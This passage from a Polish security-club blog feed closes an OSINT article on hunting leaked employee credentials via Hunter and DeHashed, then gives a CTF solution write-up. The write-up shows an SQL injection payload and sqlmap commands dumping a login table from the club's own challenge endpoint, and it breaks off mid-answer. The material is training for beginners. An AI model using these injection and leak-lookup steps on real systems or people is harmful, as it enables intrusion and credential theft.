&lt;p>Możemy chyba uznać, że poszło nam całkiem dobrze i to tylko przy wykorzystaniu jednego narzędzia. Gdyby spędzić nad tym więcej czasu, myślę że wyniki mogłyby być jeszcze ciekawsze. W sumie sam Wykop może naprawdę dużo powiedzieć, tam &lt;em>mirki&lt;/em> czują się naprawdę anonimowi.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./wykop.png" alt="Zrzut ekranu profilu Wykop">
&lt;/figure>
&lt;h2>Polowanie na wycieki danych&lt;span class="hx:absolute hx:-mt-20" id="polowanie-na-wycieki-danych">&lt;/span>
&lt;a href="#polowanie-na-wycieki-danych" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Każdy zainteresowany bliżej tematem bezpieczeństwa IT jest już przyzwyczajony do wiadomości o jakimś nowym wycieku i o potencjalnych scenariuszach wykorzystania takiego łupu.
Jednym z nich to zdobycie danych z wycieku w surowej postaci i późniejsze odszyfrowanie ich. Jeśli chodzi o część pierwszą to najłatwiejszym sposobem było skorzystanie z portalu &lt;a href="https://weleakinfo.com"target="_blank" rel="noopener">WeLeakInfo&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, który został już zdjęty, więcej o tym &lt;a href="https://niebezpiecznik.pl/post/zamknieto-weleakinfo-com-duza-baze-z-danymi-z-wyciekow/"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.
W kroku drugim zamiast czekać na rozszyfrowanie przy wykorzystaniu wynajętego klastra GPU i oprogramowania typu Hashcat, można skorzystać z &lt;a href="https://www.dehashed.com/"target="_blank" rel="noopener">DeHashed&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Portal udostępnia postać zaszyfrowaną w połączeniu z jej jawnym tekstem i robi to dla ponad 12 miliardów haseł.&lt;/p>
&lt;p>Znając miejsca, gdzie można sprawdzać interesujące nas rzeczy, możemy zabrać się do roboty. Najpierw wykorzystamy serwis &lt;a href="https://hunter.io/"target="_blank" rel="noopener">Hunter&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, który po wpisaniu domeny np. firmowej zwraca listę znanych mu maili z nią połączonych. Dane te zdobywa przeszukując publicznie dostępne źródła, czyli jest po prostu agregatorem. Bez rejestracji jesteśmy w stanie wyświetlić tylko kilka pozycji.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./hunter.png" alt="Zrzut ekranu profilu Hunter.io">
&lt;/figure>
&lt;p>Mając te kilka (albo kilkanaście jeśli się zarejestrowaliście) adresów możemy sprawdzić, czy któryś z pracowników użył konta prywatnie poza firmą i przypadkiem jego dane nie wyciekły.
Niestety, z tej małej puli nie udało się nic zdobyć, co nie zmienia faktu, że jeśli mielibyśmy większą bazę adresów i przykładowo zautomatyzowali wyszukiwanie skryptem przy użyciu API DeHashed, moglibyśmy na coś natrafić wartościowego.&lt;/p>
&lt;h2>Dane, dane, wszędzie dane - jak je poukładać&lt;span class="hx:absolute hx:-mt-20" id="dane-dane-wszędzie-dane---jak-je-poukładać">&lt;/span>
&lt;a href="#dane-dane-wsz%c4%99dzie-dane---jak-je-pouk%c5%82ada%c4%87" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Mając do czynienia z takimi pokładami informacji, przydałoby się nam coś do uporządkowania tego wszystkiego. Tylko wtedy możemy być pewni, że niczego nie przeoczyliśmy. Jednym z najpopularniejszych rozwiązań jest &lt;a href="https://www.maltego.com"target="_blank" rel="noopener">Maltego&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Pozwala ono w czytelny sposób zobrazować sobie siatkę połączeń pomiędzy różnymi informacjami, które znaleźliśmy pomagając nam zbierać kolejne tropy. O tym narzędziu można napisać kolejny, pokaźny artykuł, więc po prostu zostawię Wam &lt;a href="https://medium.com/@raebaker/a-beginners-guide-to-osint-investigation-with-maltego-6b195f7245cc"target="_blank" rel="noopener">link&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h2>Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie">&lt;/span>
&lt;a href="#podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Mam nadzieję, że udało mi się przybliżyć ten fascynujący temat i wykorzystując te małe fragmenty, które udostępniłem, uda się Wam znaleźć wszystko i o wszystkim. Przy takich ilościach informacji, jakie można zdobyć, możliwości są praktycznie nieograniczone, tym bardziej przy takim zestawie narzędzi widocznym na OSINT Framework.&lt;/p></description></item><item><title>Czech Trap</title><link>https://whitehats.pwr.edu.pl/blog/2021-03-01-ctf-teaser/</link><pubDate>Mon, 01 Mar 2021 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2021-03-01-ctf-teaser/</guid><description>
&lt;p>Poniżej znajduje się zadanie &lt;em>Czech Trap&lt;/em>, które było jednym z wielu w poprzedniej edycji Break the Syntax CTF 2019.
Pobierz obrazek, wejdź do świata zer i jedynek, a następnie znajdź flagę.&lt;/p>
&lt;p>Rozwiązanie zostanie opublikowane w najbliższym czasie.
Jeżeli naszła Cię chęć spróbowania sił w następnej edycji, zbierz zespół do 3 osób i wypełnij formularz zgłoszeniowy: &lt;a href="https://forms.gle/1GFGHshHZLybi1Dh9"target="_blank" rel="noopener">https://forms.gle/1GFGHshHZLybi1Dh9&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./chall.jpg" alt="Krecik puka w...drzwi binarnie">
&lt;/figure>
&lt;h2>Rozwiązanie - 05.05.2021&lt;span class="hx:absolute hx:-mt-20" id="rozwiązanie---05052021">&lt;/span>
&lt;a href="#rozwi%c4%85zanie---05052021" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Rozwiązanie można znaleźć pod &lt;a href="https://github.com/TheArqsz/Writeups-BtS-CTF/tree/master/CzechTrap"target="_blank" rel="noopener">tym adresem&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p></description></item><item><title>Rozwiazanie zagadki mikołajkowej</title><link>https://whitehats.pwr.edu.pl/blog/2020-12-26-rozwiazanie-mikolaj2020/</link><pubDate>Sat, 26 Dec 2020 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2020-12-26-rozwiazanie-mikolaj2020/</guid><description>
&lt;p>Artykuł ten jest opisem rozwiązania do zagadki mikołajkowej opublikowanej na naszym blogu w grudniu 2020. Jeśli wciąż chcesz spróbować rozwiązać ją samodzielnie, to nie jest to jeszcze tekst dla Ciebie. Jeśli jednak zagubiłeś/-łaś/-łoś się w trakcie rozwiązywania, to zapraszam do lektury.&lt;/p>
&lt;h2>Od czego zacząć?&lt;span class="hx:absolute hx:-mt-20" id="od-czego-zacząć">&lt;/span>
&lt;a href="#od-czego-zacz%c4%85%c4%87" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Częstą blokadą w trakcie rozwiązywania zadań webowych w trakcie wszelakich CTFów jest to, od czego można je zacząć. Znalezienie odpowiedniego wektora wejściowego jest bardzo często największym krokiem do sukcesu. Nie inaczej jest w tym przypadku.&lt;/p>
&lt;p>Strona przedstawia odbiorcy prosty formularz logowania z polem &lt;strong>email&lt;/strong> w trybie &lt;strong>readonly&lt;/strong>. Na pierwszy rzut oka użytkownik może sądzić, że pracować może tylko z polem hasła. Korzystanie z niego (puste hasło lub dowolny ciąg znaków) wywołuje jednak stałe komunikaty. Jako, że pole z hasłem zwraca niezmienne informacje niezależnie od wprowadzonych znaków, to można je na razie wykluczyć z testów.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./readonly.png">&lt;img loading="lazy" src="./readonly.png">&lt;/a>
&lt;figcaption>Pole email w trybie readonly&lt;/figcaption>
&lt;/figure>
&lt;figure class="half">
&lt;a href="./no-creds.png">&lt;img loading="lazy" src="./no-creds.png">&lt;/a>
&lt;a href="./proper-format-creds.png">&lt;img loading="lazy" src="./proper-format-creds.png">&lt;/a>
&lt;figcaption>Komunikaty ze strony&lt;/figcaption>
&lt;/figure>
&lt;p>Strony internetowe mają to do siebie, że ich kod HTML możemy modyfikować po swojej stronie (ang. &lt;em>client-side&lt;/em>). Nie inaczej jest w tym przypadku. Po usunięciu atrybutu &lt;em>readonly&lt;/em> z pola &lt;strong>email&lt;/strong> otrzymujemy do dyspozycji kolejny możliwy wektor ataku. Jednym z pierwszych ruchów testera bezpieczeństwa aplikacji webowych powinno być zweryfikowanie, czy aby formularz nie jest podatny na atak SQL injection. Poniższy ciąg znaków zostaje wysłany jako adres email:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="n">mikolaj&lt;/span>&lt;span class="o">@&lt;/span>&lt;span class="n">swiety&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">biegun&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">polnocny&lt;/span>&lt;span class="s1">&amp;#39;;--&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>W odpowiedzi otrzymujemy inny komunikat niż dotychczas. Może to sugerować, że aplikacja stojąca za formularzem jest podatna na SQLi właśnie poprzez pole &lt;strong>email&lt;/strong>.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./incorrect-format-creds.png">&lt;img loading="lazy" src="./incorrect-format-creds.png">&lt;/a>
&lt;figcaption>Komunikat zwrócony po wykorzystaniu znaków specjalnych&lt;/figcaption>
&lt;/figure>
&lt;h2>Weryfikacja podatności&lt;span class="hx:absolute hx:-mt-20" id="weryfikacja-podatności">&lt;/span>
&lt;a href="#weryfikacja-podatno%c5%9bci" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Do zweryfikowania podatności wykorzystane zostaje narzędzie &lt;a href="https://github.com/sqlmapproject/sqlmap"target="_blank" rel="noopener">sqlmap&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Aby móc z niego jednak skorzystać musimy poznać odpowiedni adres, do którego odwołuje się formularz logowania. Można go znaleźć w panelu &lt;strong>Sieć&lt;/strong> Narzędzi Developerskich przeglądarki.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./santa-api-request.png">&lt;img loading="lazy" src="./santa-api-request.png">&lt;/a>
&lt;figcaption>Zapytanie HTTP POST z formularza&lt;/figcaption>
&lt;/figure>
Znając szczegóły zapytania HTTP, możemy wykorzystać sqlmap do zbadania aplikacji. Poniżej przedstawione zostało odpowiednie polecenie wraz z jego odpowiedzią:
```console
$ sqlmap -u "https://whitehats.pwr.edu.pl/api/santaclaus" --data="email=1&amp;password=test"
...
[INFO] heuristic (basic) test shows that POST parameter 'email' might be injectable (possible DBMS: 'MySQL')
[INFO] POST parameter 'email' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[INFO] POST parameter 'email' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[INFO] the back-end DBMS is MySQL
...
```
&lt;p>{: .notice&amp;ndash;info}
Odpowiedzi narzędzia &lt;strong>sqlmap&lt;/strong> mogą różnić się w zależności od wykorzystanej wersji dlatego nie należy trzymać się w 100% tego co przedstawiono powyżej.&lt;/p>
&lt;h2>Ekstrakcja danych&lt;span class="hx:absolute hx:-mt-20" id="ekstrakcja-danych">&lt;/span>
&lt;a href="#ekstrakcja-danych" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Znając wektor ataku i typ bazy danych można wykorzystać wspomniane wcześniej narzędzie &lt;strong>sqlmap&lt;/strong> do ekstrakcji danych. Poniżej przedstawione zostały poszczególne, wykorzystane polecenia wraz z ich odpowiedziami.&lt;/p>
&lt;h3>Nazwa bazy&lt;span class="hx:absolute hx:-mt-20" id="nazwa-bazy">&lt;/span>
&lt;a href="#nazwa-bazy" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sqlmap -u &lt;span class="s2">&amp;#34;https://whitehats.pwr.edu.pl/api/santaclaus&amp;#34;&lt;/span> --data&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;email=1&amp;amp;password=test&amp;#34;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>&lt;span class="go"> --dbms=mysql -p email --current-db
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">...
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[INFO] the back-end DBMS is MySQL
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">back-end DBMS: MySQL &amp;gt;= 5.0.0 (MariaDB fork)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[INFO] fetching current database
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">current database: &amp;#39;7f1919e430b4db56df507b09f5599809&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">...
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h3>Tabele w bazie&lt;span class="hx:absolute hx:-mt-20" id="tabele-w-bazie">&lt;/span>
&lt;a href="#tabele-w-bazie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sqlmap -u &lt;span class="s2">&amp;#34;https://whitehats.pwr.edu.pl/api/santaclaus&amp;#34;&lt;/span> --data&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;email=1&amp;amp;password=test&amp;#34;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>&lt;span class="go"> --dbms=mysql -p email \
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> -D 7f1919e430b4db56df507b09f5599809 --tables
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">...
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Database: 7f1919e430b4db56df507b09f5599809
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[1 table]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">+--------+
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| logins |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">+--------+
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">...
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h3>Zawartość odpowiedniej tabeli&lt;span class="hx:absolute hx:-mt-20" id="zawartość-odpowiedniej-tabeli">&lt;/span>
&lt;a href="#zawarto%c5%9b%c4%87-odpowiedniej-tabeli" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sqlmap -u &lt;span class="s2">&amp;#34;https://whitehats.pwr.edu.pl/api/santaclaus&amp;#34;&lt;/span> --data&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;email=1&amp;amp;password=test&amp;#34;&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>&lt;span class="go"> --dbms=mysql -p email \
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go"> -D 7f1919e430b4db56df507b09f5599809 -T logins --dump
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Database: 7f1919e430b4db56df507b09f5599809
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Table: logins
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">[16 entries]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">+----+-------------------------------------------+-----------------------------------------------------------+
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| id | email | password |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">+----+-------------------------------------------+-----------------------------------------------------------+
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 2 | mikolaj@swiety.biegun.polnocny | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 3 | mikolaj@swiety.biegun.polnocny1 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 4 | mikolaj@swiety.biegun.polnocny2 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 5 | mikolaj@swiety.biegun.polnocny3 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 6 | mikolaj@swiety.biegun.polnocny4 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 7 | mikolaj@swiety.biegun.polnocny5 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 8 | mikolaj@swiety.biegun.polnocny6 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 1 | UKRYTE | UKRYTE |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 9 | mikolaj@swiety.biegun.polnocny7 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 10 | mikolaj@swiety.biegun.polnocny8 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 11 | mikolaj@swiety.biegun.polnocny9 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 12 | mikolaj@swiety.biegun.polnocny10 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 13 | mikolaj@swiety.biegun.polnocny11 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 14 | mikolaj@swiety.biegun.polnocny12 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 15 | mikolaj@swiety.biegun.polnocny13 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| 16 | mikolaj@swiety.biegun.polnocny14 | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">+----+-------------------------------------------+-----------------------------------------------------------+
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h2>Rozwiązanie&lt;span class="hx:absolute hx:-mt-20" id="rozwiązanie">&lt;/span>
&lt;a href="#rozwi%c4%85zanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>{: .notice&amp;ndash;danger}
Jeśli chcesz samodzielnie poznać email i hasło wykorzystując polecenia przedstawione wyżej, to przestań czytać w tym miejscu.&lt;/p>
&lt;p>Jak można zauważyć, jest to zadanie stworzone z myślą o osobach, które stawiają pierwsze kroki w bezpieczeństwie aplikacji webowych. Dzięki niemu, w bardzo skuteczny sposób, można sprawdzić oraz przetestować działanie sqlmap w prawdziwym środowisku. Odpowiednie dane wymagane do obejścia formularza logowania uzyskujemy w kroku &lt;a href="#zawarto%c5%9b%c4%87-odpowiedniej-tabeli">&lt;strong>zawartość odpowiedniej tabel&lt;/strong>&lt;/a>. Ich wartość została ukryta aby zachęcić do samodzielnego wypróbowania poleceń, jednak jeśli chcesz je poznać już teraz to znajdują się one poniżej:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="nt">EMAIL&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">oryginalny.mikolaj@swiety.biegun.polnocny&lt;/span>&lt;span class="w">
